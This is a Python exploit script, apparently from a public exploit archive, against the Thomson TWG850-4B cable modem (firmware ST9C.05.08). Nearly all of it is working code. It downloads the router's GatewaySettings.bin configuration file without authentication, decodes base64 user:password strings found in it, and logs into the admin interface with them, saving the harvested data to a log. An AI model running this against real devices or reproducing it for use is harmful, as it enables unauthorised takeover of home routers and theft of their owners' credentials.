Thomsom Cable Modem TWG850-4B ST9C.05.08 Authentication Bypass

`###############################################################################  
#+-////////////////////////////////////////////////////////////////////////////  
#+-  
#+- Exploit Title: Thomson Wireless VoIP Cable Modem Arbitrary File Access   
#+- Date: October 22, 2013  
#+- Author: Glaysson dos Santos  
#+-  
#+- Product: TWG850-4B Wireless VoIP Cable Modem  
#+- Software Version: ST9C.05.08  
#+- Hardware Version: 2.1  
#+- BOOT Revision: 2.1.7i  
#+- Standard Specification Compliant: DOCSIS 2.0  
#+- Firmware Name: DWG850-4-9C.05.08-110217-S-1FF.bin  
#+- Firmware Build Time 19:19:19 Thu Feb 17 2011  
#+- Severity: High  
#+-  
#+-\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\  
################################################################################  
  
  
import string  
import urllib2  
import sys  
from time import sleep  
import base64  
import binascii  
import os  
  
save = 'log_TWG8504B.txt'  
log = open(save,'w')  
bifi = 'GatewaySettings.bin'  
refi = 'RgComputers.asp'  
R_C = ("\033[0;31m")  
G_C = ("\033[1;32m")  
D_C = ("\033[0m" )  
  
  
def banner():  
os.system('clear')  
print "\nThomson Wireless VoIP Cable Modem DWG850 -4B (Software Version:ST9C.05.08)- Arbitrary File Read\n \  
\t- 2013 - Glaysson dos Santos (0cn1)\n\n"  
  
  
def hr_data(filename, min=4):  
with open(filename, "rb") as f:  
result = ""  
for c in f.read():  
if c in string.printable:  
result += c  
continue  
if len(result) >= min:  
yield result  
print >> log, result  
result = ""  
print "(+)- Others Informations Extracted Saved in %s, but you've a Admin Password :D\n"%(save)  
  
def checkcreds(router,username,password):  
auth_handler = urllib2.HTTPBasicAuthHandler()  
auth_handler.add_password(realm='Thomson',  
uri = router,  
user = username,  
passwd= password)  
opener = urllib2.build_opener(auth_handler)  
try:  
urllib2.install_opener(opener)  
status = urllib2.urlopen('%s/%s'%(router,refi))  
print '(+)- [status:%s%s%s] Authenticated successfuly, Enjoy it!'%(G_C,status.code,D_C)  
  
except urllib2.URLError, e:  
if e.code == 401:  
print '(+)- [status:%s%s%s] Invalid Credentials! Try yourself in a browser.'%(R_C,e.code,D_C)  
  
def checkvuln(router):  
try:  
print '(+)- Checking if target is vulnerable...'  
req = urllib2.Request('%s/%s'%(router,bifi))  
response = urllib2.urlopen(req)  
page = response.read()  
x = open(bifi,'wb')  
x.write(page)  
x.close()  
sleep(1)  
print '(+)- The target appears to be vulnerable, lets check it better!'  
print '(+)- Searching Credentials...'  
sleep(1)  
for s in hr_data(bifi):  
try:  
dec = base64.decodestring(s)  
if dec.find(':') != -1:  
user,passwd = dec.split(':')  
print '(+)- User: %s%s%s'%(G_C,user,D_C)  
print '(+)- Pass: %s%s%s'%(G_C,passwd,D_C)  
  
print '(+)- Checking if creds are OK...'  
checkcreds(router,user,passwd)  
  
except(binascii.Error):  
pass  
except urllib2.URLError, e:  
print '[$] hollyshit! the target is not vuln! o.O (%s%s%s)'%(R_C,e.reason[1],D_C)  
sys.exit(1)  
  
if __name__ == "__main__":  
banner()  
if len(sys.argv) != 2:  
print '[!] %sRun %s router IP%s\n'%(R_C,sys.argv[0],D_C)  
sys.exit(2)  
  
router = sys.argv[1]  
if not "http" in router:  
router = "http://"+(sys.argv[1])  
checkvuln(router)  
  
  
`